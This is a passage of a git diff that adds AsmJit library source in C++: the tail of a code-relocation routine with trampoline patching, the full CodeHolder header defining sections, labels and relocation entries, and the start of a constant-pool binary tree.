(uint64_t)trampOffset - re->getSourceOffset() - re->getSize(); + useTrampoline = true; + } + break; + } + + default: + return DebugUtils::errored(kErrorInvalidRelocEntry); + } + + switch (re->getSize()) { + case 1: + Utils::writeU8(dst + codeOffset, static_cast(ptr & 0xFFU)); + break; + + case 4: + Utils::writeU32u(dst + codeOffset, static_cast(ptr & 0xFFFFFFFFU)); + break; + + case 8: + Utils::writeU64u(dst + codeOffset, ptr); + break; + + default: + return DebugUtils::errored(kErrorInvalidRelocEntry); + } + + // Handle the trampoline case. + if (useTrampoline) { + // Bytes that replace [REX, OPCODE] bytes. + uint32_t byte0 = 0xFF; + uint32_t byte1 = dst[codeOffset - 1]; + + if (byte1 == 0xE8) { + // Patch CALL/MOD byte to FF/2 (-> 0x15). + byte1 = x86EncodeMod(0, 2, 5); + } + else if (byte1 == 0xE9) { + // Patch JMP/MOD byte to FF/4 (-> 0x25). + byte1 = x86EncodeMod(0, 4, 5); + } + else { + return DebugUtils::errored(kErrorInvalidRelocEntry); + } + + // Patch `jmp/call` instruction. + ASMJIT_ASSERT(codeOffset >= 2); + dst[codeOffset - 2] = static_cast(byte0); + dst[codeOffset - 1] = static_cast(byte1); + + // Store absolute address and advance the trampoline pointer. + Utils::writeU64u(dst + trampOffset, re->getData()); + trampOffset += 8; + +#if !defined(ASMJIT_DISABLE_LOGGING) + if (logger) + logger->logf("[reloc] dq 0x%016llX ; Trampoline\n", re->getData()); +#endif // !ASMJIT_DISABLE_LOGGING + } + } + + // If there are no trampolines this is the same as `minCodeSize`. + return trampOffset; +} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" diff --git a/asmjit/src/asmjit/base/codeholder.h b/asmjit/src/asmjit/base/codeholder.h new file mode 100644 index 0000000..f753ecc --- /dev/null +++ b/asmjit/src/asmjit/base/codeholder.h @@ -0,0 +1,748 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_CODEHOLDER_H +#define _ASMJIT_BASE_CODEHOLDER_H + +// [Dependencies] +#include "../base/arch.h" +#include "../base/func.h" +#include "../base/logging.h" +#include "../base/operand.h" +#include "../base/simdtypes.h" +#include "../base/utils.h" +#include "../base/zone.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [Forward Declarations] +// ============================================================================ + +class Assembler; +class CodeEmitter; +class CodeHolder; + +// ============================================================================ +// [asmjit::AlignMode] +// ============================================================================ + +//! Align mode. +ASMJIT_ENUM(AlignMode) { + kAlignCode = 0, //!< Align executable code. + kAlignData = 1, //!< Align non-executable code. + kAlignZero = 2, //!< Align by a sequence of zeros. + kAlignCount //!< Count of alignment modes. +}; + +// ============================================================================ +// [asmjit::ErrorHandler] +// ============================================================================ + +//! Error handler can be used to override the default behavior of error handling +//! available to all classes that inherit \ref CodeEmitter. See \ref handleError(). +class ASMJIT_VIRTAPI ErrorHandler { +public: + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `ErrorHandler` instance. + ASMJIT_API ErrorHandler() noexcept; + //! Destroy the `ErrorHandler` instance. + ASMJIT_API virtual ~ErrorHandler() noexcept; + + // -------------------------------------------------------------------------- + // [Handle Error] + // -------------------------------------------------------------------------- + + //! Error handler (abstract). + //! + //! Error handler is called after an error happened and before it's propagated + //! to the caller. There are multiple ways how the error handler can be used: + //! + //! 1. Returning `true` or `false` from `handleError()`. If `true` is returned + //! it means that the error was reported and AsmJit can continue execution. + //! The reported error still be propagated to the caller, but won't put the + //! CodeEmitter into an error state (it won't set last-error). However, + //! returning `false` means that the error cannot be handled - in such case + //! it stores the error, which can be then retrieved by using `getLastError()`. + //! Returning `false` is the default behavior when no error handler is present. + //! To put the assembler into a non-error state again a `resetLastError()` must + //! be called. + //! + //! 2. Throwing an exception. AsmJit doesn't use exceptions and is completely + //! exception-safe, but you can throw exception from your error handler if + //! this way is the preferred way of handling errors in your project. Throwing + //! an exception acts virtually as returning `true` as AsmJit won't be able + //! to store the error because the exception changes execution path. + //! + //! 3. Using plain old C's `setjmp()` and `longjmp()`. Asmjit always puts + //! `CodeEmitter` to a consistent state before calling the `handleError()` + //! so `longjmp()` can be used without any issues to cancel the code + //! generation if an error occurred. There is no difference between + //! exceptions and longjmp() from AsmJit's perspective. + virtual bool handleError(Error err, const char* message, CodeEmitter* origin) = 0; +}; + +// ============================================================================ +// [asmjit::CodeInfo] +// ============================================================================ + +//! Basic information about a code (or target). It describes its architecture, +//! code generation mode (or optimization level), and base address. +class CodeInfo { +public: + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE CodeInfo() noexcept + : _archInfo(), + _stackAlignment(0), + _cdeclCallConv(CallConv::kIdNone), + _stdCallConv(CallConv::kIdNone), + _fastCallConv(CallConv::kIdNone), + _baseAddress(Globals::kNoBaseAddress) {} + ASMJIT_INLINE CodeInfo(const CodeInfo& other) noexcept { init(other); } + + explicit ASMJIT_INLINE CodeInfo(uint32_t archType, uint32_t archMode = 0, uint64_t baseAddress = Globals::kNoBaseAddress) noexcept + : _archInfo(archType, archMode), + _packedMiscInfo(0), + _baseAddress(baseAddress) {} + + // -------------------------------------------------------------------------- + // [Init / Reset] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE bool isInitialized() const noexcept { + return _archInfo._type != ArchInfo::kTypeNone; + } + + ASMJIT_INLINE void init(const CodeInfo& other) noexcept { + _archInfo = other._archInfo; + _packedMiscInfo = other._packedMiscInfo; + _baseAddress = other._baseAddress; + } + + ASMJIT_INLINE void init(uint32_t archType, uint32_t archMode = 0, uint64_t baseAddress = Globals::kNoBaseAddress) noexcept { + _archInfo.init(archType, archMode); + _packedMiscInfo = 0; + _baseAddress = baseAddress; + } + + ASMJIT_INLINE void reset() noexcept { + _archInfo.reset(); + _stackAlignment = 0; + _cdeclCallConv = CallConv::kIdNone; + _stdCallConv = CallConv::kIdNone; + _fastCallConv = CallConv::kIdNone; + _baseAddress = Globals::kNoBaseAddress; + } + + // -------------------------------------------------------------------------- + // [Architecture Information] + // -------------------------------------------------------------------------- + + //! Get architecture information, see \ref ArchInfo. + ASMJIT_INLINE const ArchInfo& getArchInfo() const noexcept { return _archInfo; } + + //! Get architecture type, see \ref ArchInfo::Type. + ASMJIT_INLINE uint32_t getArchType() const noexcept { return _archInfo.getType(); } + //! Get architecture sub-type, see \ref ArchInfo::SubType. + ASMJIT_INLINE uint32_t getArchSubType() const noexcept { return _archInfo.getSubType(); } + //! Get a size of a GP register of the architecture the code is using. + ASMJIT_INLINE uint32_t getGpSize() const noexcept { return _archInfo.getGpSize(); } + //! Get number of GP registers available of the architecture the code is using. + ASMJIT_INLINE uint32_t getGpCount() const noexcept { return _archInfo.getGpCount(); } + + // -------------------------------------------------------------------------- + // [High-Level Information] + // -------------------------------------------------------------------------- + + //! Get a natural stack alignment that must be honored (or 0 if not known). + ASMJIT_INLINE uint32_t getStackAlignment() const noexcept { return _stackAlignment; } + //! Set a natural stack alignment that must be honored. + ASMJIT_INLINE void setStackAlignment(uint8_t sa) noexcept { _stackAlignment = static_cast(sa); } + + ASMJIT_INLINE uint32_t getCdeclCallConv() const noexcept { return _cdeclCallConv; } + ASMJIT_INLINE void setCdeclCallConv(uint32_t cc) noexcept { _cdeclCallConv = static_cast(cc); } + + ASMJIT_INLINE uint32_t getStdCallConv() const noexcept { return _stdCallConv; } + ASMJIT_INLINE void setStdCallConv(uint32_t cc) noexcept { _stdCallConv = static_cast(cc); } + + ASMJIT_INLINE uint32_t getFastCallConv() const noexcept { return _fastCallConv; } + ASMJIT_INLINE void setFastCallConv(uint32_t cc) noexcept { _fastCallConv = static_cast(cc); } + + // -------------------------------------------------------------------------- + // [Addressing Information] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE bool hasBaseAddress() const noexcept { return _baseAddress != Globals::kNoBaseAddress; } + ASMJIT_INLINE uint64_t getBaseAddress() const noexcept { return _baseAddress; } + ASMJIT_INLINE void setBaseAddress(uint64_t p) noexcept { _baseAddress = p; } + ASMJIT_INLINE void resetBaseAddress() noexcept { _baseAddress = Globals::kNoBaseAddress; } + + // -------------------------------------------------------------------------- + // [Operator Overload] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE CodeInfo& operator=(const CodeInfo& other) noexcept { init(other); return *this; } + ASMJIT_INLINE bool operator==(const CodeInfo& other) const noexcept { return ::memcmp(this, &other, sizeof(*this)) == 0; } + ASMJIT_INLINE bool operator!=(const CodeInfo& other) const noexcept { return ::memcmp(this, &other, sizeof(*this)) != 0; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + ArchInfo _archInfo; //!< Architecture information. + + union { + struct { + uint8_t _stackAlignment; //!< Natural stack alignment (ARCH+OS). + uint8_t _cdeclCallConv; //!< Default CDECL calling convention. + uint8_t _stdCallConv; //!< Default STDCALL calling convention. + uint8_t _fastCallConv; //!< Default FASTCALL calling convention. + }; + uint32_t _packedMiscInfo; //!< \internal + }; + + uint64_t _baseAddress; //!< Base address. +}; + +// ============================================================================ +// [asmjit::CodeBuffer] +// ============================================================================ + +//! Code or data buffer. +struct CodeBuffer { + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE bool hasData() const noexcept { return _data != nullptr; } + ASMJIT_INLINE uint8_t* getData() noexcept { return _data; } + ASMJIT_INLINE const uint8_t* getData() const noexcept { return _data; } + + ASMJIT_INLINE size_t getLength() const noexcept { return _length; } + ASMJIT_INLINE size_t getCapacity() const noexcept { return _capacity; } + + ASMJIT_INLINE bool isExternal() const noexcept { return _isExternal; } + ASMJIT_INLINE bool isFixedSize() const noexcept { return _isFixedSize; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + uint8_t* _data; //!< The content of the buffer (data). + size_t _length; //!< Number of bytes of `data` used. + size_t _capacity; //!< Buffer capacity (in bytes). + bool _isExternal; //!< True if this is external buffer. + bool _isFixedSize; //!< True if this buffer cannot grow. +}; + +// ============================================================================ +// [asmjit::SectionEntry] +// ============================================================================ + +//! Section entry. +class SectionEntry { +public: + ASMJIT_ENUM(Id) { + kInvalidId = 0xFFFFFFFFU //!< Invalid section id. + }; + + //! Section flags. + ASMJIT_ENUM(Flags) { + kFlagExec = 0x00000001U, //!< Executable (.text sections). + kFlagConst = 0x00000002U, //!< Read-only (.text and .data sections). + kFlagZero = 0x00000004U, //!< Zero initialized by the loader (BSS). + kFlagInfo = 0x00000008U, //!< Info / comment flag. + kFlagImplicit = 0x80000000U //!< Section created implicitly (can be deleted by the Runtime). + }; + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE uint32_t getId() const noexcept { return _id; } + ASMJIT_INLINE const char* getName() const noexcept { return _name; } + + ASMJIT_INLINE void _setDefaultName( + char c0 = 0, char c1 = 0, char c2 = 0, char c3 = 0, + char c4 = 0, char c5 = 0, char c6 = 0, char c7 = 0) noexcept { + _nameAsU32[0] = Utils::pack32_4x8(c0, c1, c2, c3); + _nameAsU32[1] = Utils::pack32_4x8(c4, c5, c6, c7); + } + + ASMJIT_INLINE uint32_t getFlags() const noexcept { return _flags; } + ASMJIT_INLINE bool hasFlag(uint32_t flag) const noexcept { return (_flags & flag) != 0; } + ASMJIT_INLINE void addFlags(uint32_t flags) noexcept { _flags |= flags; } + ASMJIT_INLINE void clearFlags(uint32_t flags) noexcept { _flags &= ~flags; } + + ASMJIT_INLINE uint32_t getAlignment() const noexcept { return _alignment; } + ASMJIT_INLINE void setAlignment(uint32_t alignment) noexcept { _alignment = alignment; } + + ASMJIT_INLINE size_t getPhysicalSize() const noexcept { return _buffer.getLength(); } + + ASMJIT_INLINE size_t getVirtualSize() const noexcept { return _virtualSize; } + ASMJIT_INLINE void setVirtualSize(uint32_t size) noexcept { _virtualSize = size; } + + ASMJIT_INLINE CodeBuffer& getBuffer() noexcept { return _buffer; } + ASMJIT_INLINE const CodeBuffer& getBuffer() const noexcept { return _buffer; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + uint32_t _id; //!< Section id. + uint32_t _flags; //!< Section flags. + uint32_t _alignment; //!< Section alignment requirements (0 if no requirements). + uint32_t _virtualSize; //!< Virtual size of the section (zero initialized mostly). + union { + char _name[36]; //!< Section name (max 35 characters, PE allows max 8). + uint32_t _nameAsU32[36 / 4]; //!< Section name as `uint32_t[]` (only optimization). + }; + CodeBuffer _buffer; //!< Code or data buffer. +}; + +// ============================================================================ +// [asmjit::LabelLink] +// ============================================================================ + +//! Data structure used to link labels. +struct LabelLink { + LabelLink* prev; //!< Previous link (single-linked list). + uint32_t sectionId; //!< Section id. + uint32_t relocId; //!< Relocation id or RelocEntry::kInvalidId. + size_t offset; //!< Label offset relative to the start of the section. + intptr_t rel; //!< Inlined rel8/rel32. +}; + +// ============================================================================ +// [asmjit::LabelEntry] +// ============================================================================ + +//! Label entry. +//! +//! Contains the following properties: +//! * Label id - This is the only thing that is set to the `Label` operand. +//! * Label name - Optional, used mostly to create executables and libraries. +//! * Label type - Type of the label, default `Label::kTypeAnonymous`. +//! * Label parent id - Derived from many assemblers that allow to define a +//! local label that falls under a global label. This allows to define +//! many labels of the same name that have different parent (global) label. +//! * Offset - offset of the label bound by `Assembler`. +//! * Links - single-linked list that contains locations of code that has +//! to be patched when the label gets bound. Every use of unbound label +//! adds one link to `_links` list. +//! * HVal - Hash value of label's name and optionally parentId. +//! * HashNext - Hash-table implementation detail. +class LabelEntry : public ZoneHashNode { +public: + // NOTE: Label id is stored in `_customData`, which is provided by ZoneHashNode + // to fill a padding that a C++ compiler targeting 64-bit CPU will add to align + // the structure to 64-bits. + + //! Get label id. + ASMJIT_INLINE uint32_t getId() const noexcept { return _customData; } + //! Set label id (internal, used only by \ref CodeHolder). + ASMJIT_INLINE void _setId(uint32_t id) noexcept { _customData = id; } + + //! Get label type, see \ref Label::Type. + ASMJIT_INLINE uint32_t getType() const noexcept { return _type; } + //! Get label flags, returns 0 at the moment. + ASMJIT_INLINE uint32_t getFlags() const noexcept { return _flags; } + + ASMJIT_INLINE bool hasParent() const noexcept { return _parentId != 0; } + //! Get label's parent id. + ASMJIT_INLINE uint32_t getParentId() const noexcept { return _parentId; } + + //! Get label's section id where it's bound to (or `SectionEntry::kInvalidId` if it's not bound yet). + ASMJIT_INLINE uint32_t getSectionId() const noexcept { return _sectionId; } + + //! Get if the label has name. + ASMJIT_INLINE bool hasName() const noexcept { return !_name.isEmpty(); } + + //! Get the label's name. + //! + //! NOTE: Local labels will return their local name without their parent + //! part, for example ".L1". + ASMJIT_INLINE const char* getName() const noexcept { return _name.getData(); } + + //! Get length of label's name. + //! + //! NOTE: Label name is always null terminated, so you can use `strlen()` to + //! get it, however, it's also cached in `LabelEntry`, so if you want to know + //! the length the easiest way is to use `LabelEntry::getNameLength()`. + ASMJIT_INLINE size_t getNameLength() const noexcept { return _name.getLength(); } + + //! Get if the label is bound. + ASMJIT_INLINE bool isBound() const noexcept { return _sectionId != SectionEntry::kInvalidId; } + //! Get the label offset (only useful if the label is bound). + ASMJIT_INLINE intptr_t getOffset() const noexcept { return _offset; } + + //! Get the hash-value of label's name and its parent label (if any). + //! + //! Label hash is calculated as `HASH(Name) ^ ParentId`. The hash function + //! is implemented in `Utils::hashString()` and `Utils::hashRound()`. + ASMJIT_INLINE uint32_t getHVal() const noexcept { return _hVal; } + + // ------------------------------------------------------------------------ + // [Members] + // ------------------------------------------------------------------------ + + // Let's round the size of `LabelEntry` to 64 bytes (as ZoneHeap has 32 + // bytes granularity anyway). This gives `_name` the remaining space, which + // is roughly 16 bytes on 64-bit and 28 bytes on 32-bit architectures. + enum { kNameBytes = 64 - (sizeof(ZoneHashNode) + 16 + sizeof(intptr_t) + sizeof(LabelLink*)) }; + + uint8_t _type; //!< Label type, see Label::Type. + uint8_t _flags; //!< Must be zero. + uint16_t _reserved16; //!< Reserved. + uint32_t _parentId; //!< Label parent id or zero. + uint32_t _sectionId; //!< Section id or `SectionEntry::kInvalidId`. + uint32_t _reserved32; //!< Reserved. + intptr_t _offset; //!< Label offset. + LabelLink* _links; //!< Label links. + SmallString _name; //!< Label name. +}; + +// ============================================================================ +// [asmjit::RelocEntry] +// ============================================================================ + +//! Relocation entry. +struct RelocEntry { + ASMJIT_ENUM(Id) { + kInvalidId = 0xFFFFFFFFU //!< Invalid relocation id. + }; + + //! Relocation type. + ASMJIT_ENUM(Type) { + kTypeNone = 0, //!< Deleted entry (no relocation). + kTypeAbsToAbs = 1, //!< Relocate absolute to absolute. + kTypeRelToAbs = 2, //!< Relocate relative to absolute. + kTypeAbsToRel = 3, //!< Relocate absolute to relative. + kTypeTrampoline = 4 //!< Relocate absolute to relative or use trampoline. + }; + + // ------------------------------------------------------------------------ + // [Accessors] + // ------------------------------------------------------------------------ + + ASMJIT_INLINE uint32_t getId() const noexcept { return _id; } + + ASMJIT_INLINE uint32_t getType() const noexcept { return _type; } + ASMJIT_INLINE uint32_t getSize() const noexcept { return _size; } + + ASMJIT_INLINE uint32_t getSourceSectionId() const noexcept { return _sourceSectionId; } + ASMJIT_INLINE uint32_t getTargetSectionId() const noexcept { return _targetSectionId; } + + ASMJIT_INLINE uint64_t getSourceOffset() const noexcept { return _sourceOffset; } + ASMJIT_INLINE uint64_t getData() const noexcept { return _data; } + + // ------------------------------------------------------------------------ + // [Members] + // ------------------------------------------------------------------------ + + uint32_t _id; //!< Relocation id. + uint8_t _type; //!< Type of the relocation. + uint8_t _size; //!< Size of the relocation (1, 2, 4 or 8 bytes). + uint8_t _reserved[2]; //!< Reserved. + uint32_t _sourceSectionId; //!< Source section id. + uint32_t _targetSectionId; //!< Destination section id. + uint64_t _sourceOffset; //!< Source offset (relative to start of the section). + uint64_t _data; //!< Relocation data (target offset, target address, etc). +}; + +// ============================================================================ +// [asmjit::CodeHolder] +// ============================================================================ + +//! Contains basic information about the target architecture plus its settings, +//! and holds code & data (including sections, labels, and relocation information). +//! CodeHolder can store both binary and intermediate representation of assembly, +//! which can be generated by \ref Assembler and/or \ref CodeBuilder. +//! +//! NOTE: CodeHolder has ability to attach an \ref ErrorHandler, however, this +//! error handler is not triggered by CodeHolder itself, it's only used by the +//! attached code generators. +class CodeHolder { +public: + ASMJIT_NONCOPYABLE(CodeHolder) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create an uninitialized CodeHolder (you must init() it before it can be used). + ASMJIT_API CodeHolder() noexcept; + //! Destroy the CodeHolder. + ASMJIT_API ~CodeHolder() noexcept; + + // -------------------------------------------------------------------------- + // [Init / Reset] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE bool isInitialized() const noexcept { return _codeInfo.isInitialized(); } + + //! Initialize to CodeHolder to hold code described by `codeInfo`. + ASMJIT_API Error init(const CodeInfo& info) noexcept; + //! Detach all code-generators attached and reset the \ref CodeHolder. + ASMJIT_API void reset(bool releaseMemory = false) noexcept; + + // -------------------------------------------------------------------------- + // [Attach / Detach] + // -------------------------------------------------------------------------- + + //! Attach a \ref CodeEmitter to this \ref CodeHolder. + ASMJIT_API Error attach(CodeEmitter* emitter) noexcept; + //! Detach a \ref CodeEmitter from this \ref CodeHolder. + ASMJIT_API Error detach(CodeEmitter* emitter) noexcept; + + // -------------------------------------------------------------------------- + // [Sync] + // -------------------------------------------------------------------------- + + //! Synchronize all states of all `CodeEmitter`s associated with the CodeHolder. + //! This is required as some code generators don't sync every time they do + //! something - for example \ref Assembler generally syncs when it needs to + //! reallocate the \ref CodeBuffer, but not each time it encodes instruction + //! or directive. + ASMJIT_API void sync() noexcept; + + // -------------------------------------------------------------------------- + // [Code-Information] + // -------------------------------------------------------------------------- + + //! Get code/target information, see \ref CodeInfo. + ASMJIT_INLINE const CodeInfo& getCodeInfo() const noexcept { return _codeInfo; } + //! Get architecture information, see \ref ArchInfo. + ASMJIT_INLINE const ArchInfo& getArchInfo() const noexcept { return _codeInfo.getArchInfo(); } + + //! Get the target's architecture type. + ASMJIT_INLINE uint32_t getArchType() const noexcept { return getArchInfo().getType(); } + //! Get the target's architecture sub-type. + ASMJIT_INLINE uint32_t getArchSubType() const noexcept { return getArchInfo().getSubType(); } + + //! Get if a static base-address is set. + ASMJIT_INLINE bool hasBaseAddress() const noexcept { return _codeInfo.hasBaseAddress(); } + //! Get a static base-address (uint64_t). + ASMJIT_INLINE uint64_t getBaseAddress() const noexcept { return _codeInfo.getBaseAddress(); } + + // -------------------------------------------------------------------------- + // [Global Information] + // -------------------------------------------------------------------------- + + //! Get global hints, internally propagated to all `CodeEmitter`s attached. + ASMJIT_INLINE uint32_t getGlobalHints() const noexcept { return _globalHints; } + //! Get global options, internally propagated to all `CodeEmitter`s attached. + ASMJIT_INLINE uint32_t getGlobalOptions() const noexcept { return _globalOptions; } + + // -------------------------------------------------------------------------- + // [Result Information] + // -------------------------------------------------------------------------- + + //! Get the size code & data of all sections. + ASMJIT_API size_t getCodeSize() const noexcept; + + //! Get size of all possible trampolines. + //! + //! Trampolines are needed to successfully generate relative jumps to absolute + //! addresses. This value is only non-zero if jmp of call instructions were + //! used with immediate operand (this means jumping or calling an absolute + //! address directly). + ASMJIT_INLINE size_t getTrampolinesSize() const noexcept { return _trampolinesSize; } + + // -------------------------------------------------------------------------- + // [Logging & Error Handling] + // -------------------------------------------------------------------------- + +#if !defined(ASMJIT_DISABLE_LOGGING) + //! Get if a logger attached. + ASMJIT_INLINE bool hasLogger() const noexcept { return _logger != nullptr; } + //! Get the attached logger. + ASMJIT_INLINE Logger* getLogger() const noexcept { return _logger; } + //! Attach a `logger` to CodeHolder and propagate it to all attached `CodeEmitter`s. + ASMJIT_API void setLogger(Logger* logger) noexcept; + //! Reset the logger (does nothing if not attached). + ASMJIT_INLINE void resetLogger() noexcept { setLogger(nullptr); } +#endif // !ASMJIT_DISABLE_LOGGING + + //! Get if error-handler is attached. + ASMJIT_INLINE bool hasErrorHandler() const noexcept { return _errorHandler != nullptr; } + //! Get the error-handler. + ASMJIT_INLINE ErrorHandler* getErrorHandler() const noexcept { return _errorHandler; } + //! Set the error handler, will affect all attached `CodeEmitter`s. + ASMJIT_API Error setErrorHandler(ErrorHandler* handler) noexcept; + //! Reset the error handler (does nothing if not attached). + ASMJIT_INLINE void resetErrorHandler() noexcept { setErrorHandler(nullptr); } + + // -------------------------------------------------------------------------- + // [Sections] + // -------------------------------------------------------------------------- + + //! Get array of `SectionEntry*` records. + ASMJIT_INLINE const ZoneVector& getSections() const noexcept { return _sections; } + + //! Get a section entry of the given index. + ASMJIT_INLINE SectionEntry* getSectionEntry(size_t index) const noexcept { return _sections[index]; } + + ASMJIT_API Error growBuffer(CodeBuffer* cb, size_t n) noexcept; + ASMJIT_API Error reserveBuffer(CodeBuffer* cb, size_t n) noexcept; + + // -------------------------------------------------------------------------- + // [Labels & Symbols] + // -------------------------------------------------------------------------- + + //! Create a new anonymous label and return its id in `idOut`. + //! + //! Returns `Error`, does not report error to \ref ErrorHandler. + ASMJIT_API Error newLabelId(uint32_t& idOut) noexcept; + + //! Create a new named label label-type `type`. + //! + //! Returns `Error`, does not report error to \ref ErrorHandler. + ASMJIT_API Error newNamedLabelId(uint32_t& idOut, const char* name, size_t nameLength, uint32_t type, uint32_t parentId) noexcept; + + //! Get a label id by name. + ASMJIT_API uint32_t getLabelIdByName(const char* name, size_t nameLength = Globals::kInvalidIndex, uint32_t parentId = 0) noexcept; + + //! Create a new label-link used to store information about yet unbound labels. + //! + //! Returns `null` if the allocation failed. + ASMJIT_API LabelLink* newLabelLink(LabelEntry* le, uint32_t sectionId, size_t offset, intptr_t rel) noexcept; + + //! Get array of `LabelEntry*` records. + ASMJIT_INLINE const ZoneVector& getLabelEntries() const noexcept { return _labels; } + + //! Get number of labels created. + ASMJIT_INLINE size_t getLabelsCount() const noexcept { return _labels.getLength(); } + + //! Get number of label references, which are unresolved at the moment. + ASMJIT_INLINE size_t getUnresolvedLabelsCount() const noexcept { return _unresolvedLabelsCount; } + + //! Get if the `label` is valid (i.e. created by `newLabelId()`). + ASMJIT_INLINE bool isLabelValid(const Label& label) const noexcept { + return isLabelValid(label.getId()); + } + //! Get if the label having `id` is valid (i.e. created by `newLabelId()`). + ASMJIT_INLINE bool isLabelValid(uint32_t labelId) const noexcept { + size_t index = Operand::unpackId(labelId); + return index < _labels.getLength(); + } + + //! Get if the `label` is already bound. + //! + //! Returns `false` if the `label` is not valid. + ASMJIT_INLINE bool isLabelBound(const Label& label) const noexcept { + return isLabelBound(label.getId()); + } + //! \overload + ASMJIT_INLINE bool isLabelBound(uint32_t id) const noexcept { + size_t index = Operand::unpackId(id); + return index < _labels.getLength() && _labels[index]->isBound(); + } + + //! Get a `label` offset or -1 if the label is not yet bound. + ASMJIT_INLINE intptr_t getLabelOffset(const Label& label) const noexcept { + return getLabelOffset(label.getId()); + } + //! \overload + ASMJIT_INLINE intptr_t getLabelOffset(uint32_t id) const noexcept { + ASMJIT_ASSERT(isLabelValid(id)); + return _labels[Operand::unpackId(id)]->getOffset(); + } + + //! Get information about the given `label`. + ASMJIT_INLINE LabelEntry* getLabelEntry(const Label& label) const noexcept { + return getLabelEntry(label.getId()); + } + //! Get information about a label having the given `id`. + ASMJIT_INLINE LabelEntry* getLabelEntry(uint32_t id) const noexcept { + size_t index = static_cast(Operand::unpackId(id)); + return index < _labels.getLength() ? _labels[index] : static_cast(nullptr); + } + + // -------------------------------------------------------------------------- + // [Relocations] + // -------------------------------------------------------------------------- + + //! Create a new relocation entry of type `type` and size `size`. + //! + //! Additional fields can be set after the relocation entry was created. + ASMJIT_API Error newRelocEntry(RelocEntry** dst, uint32_t type, uint32_t size) noexcept; + + //! Get if the code contains relocations. + ASMJIT_INLINE bool hasRelocations() const noexcept { return !_relocations.isEmpty(); } + //! Get array of `RelocEntry*` records. + ASMJIT_INLINE const ZoneVector& getRelocEntries() const noexcept { return _relocations; } + + ASMJIT_INLINE RelocEntry* getRelocEntry(uint32_t id) const noexcept { return _relocations[id]; } + + //! Relocate the code to `baseAddress` and copy it to `dst`. + //! + //! \param dst Contains the location where the relocated code should be + //! copied. The pointer can be address returned by virtual memory allocator + //! or any other address that has sufficient space. + //! + //! \param baseAddress Base address used for relocation. `JitRuntime` always + //! sets the `baseAddress` to be the same as `dst`. + //! + //! \return The number bytes actually used. If the code emitter reserved + //! space for possible trampolines, but didn't use it, the number of bytes + //! used can actually be less than the expected worst case. Virtual memory + //! allocator can shrink the memory it allocated initially. + //! + //! A given buffer will be overwritten, to get the number of bytes required, + //! use `getCodeSize()`. + ASMJIT_API size_t relocate(void* dst, uint64_t baseAddress = Globals::kNoBaseAddress) const noexcept; + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + CodeInfo _codeInfo; //!< Basic information about the code (architecture and other info). + + uint32_t _globalHints; //!< Global hints, propagated to all `CodeEmitter`s. + uint32_t _globalOptions; //!< Global options, propagated to all `CodeEmitter`s. + + CodeEmitter* _emitters; //!< Linked-list of all attached `CodeEmitter`s. + Assembler* _cgAsm; //!< Attached \ref Assembler (only one at a time). + + Logger* _logger; //!< Attached \ref Logger, used by all consumers. + ErrorHandler* _errorHandler; //!< Attached \ref ErrorHandler. + + uint32_t _unresolvedLabelsCount; //!< Count of label references which were not resolved. + uint32_t _trampolinesSize; //!< Size of all possible trampolines. + + Zone _baseZone; //!< Base zone (used to allocate core structures). + Zone _dataZone; //!< Data zone (used to allocate extra data like label names). + ZoneHeap _baseHeap; //!< Zone allocator, used to manage internal containers. + + ZoneVector _sections; //!< Section entries. + ZoneVector _labels; //!< Label entries (each label is stored here). + ZoneVector _relocations; //!< Relocation entries. + ZoneHash _namedLabels; //!< Label name -> LabelEntry (only named labels). +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_CODEHOLDER_H diff --git a/asmjit/src/asmjit/base/constpool.cpp b/asmjit/src/asmjit/base/constpool.cpp new file mode 100644 index 0000000..799abd1 --- /dev/null +++ b/asmjit/src/asmjit/base/constpool.cpp @@ -0,0 +1,511 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Dependencies] +#include "../base/constpool.h" +#include "../base/utils.h" + +#include + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// Binary tree code is based on Julienne Walker's "Andersson Binary Trees" +// article and implementation. However, only three operations are implemented - +// get, insert and traverse. + +// ============================================================================ +// [asmjit::ConstPool::Tree - Ops] +// ============================================================================ + +//! \internal +//! +//! Remove left horizontal links. +static ASMJIT_INLINE ConstPool::Node* ConstPoolTree_skewNode(ConstPool::Node* node) noexcept { + ConstPool::Node* link = node->_link[0]; + uint32_t level = node->_level; + + if (level != 0 && link && link->_level == level) { + node->_link[0] = link->_link[1]; + link->_link[1] = node; + + node = link; + } + + return node; +} + +//! \internal +//! +//! Remove consecutive horizontal links. +static ASMJIT_INLINE ConstPool::Node* ConstPoolTree_splitNode(ConstPool::Node* node) noexcept { + ConstPool::Node* link = node->_link[1]; + uint32_t level = node->_level; + + if (level != 0 && link && link->_link[1] && link->_link[1]->_level == level) { + node->_link[1] = link->_link[0]; + link->_link[0] = node; + + node = link; + node->_level++; + } + + return node; +} + +ConstPool::Node* ConstPool::Tree::get(const void* data) noexcept { + ConstPool::Node* node = _root; + 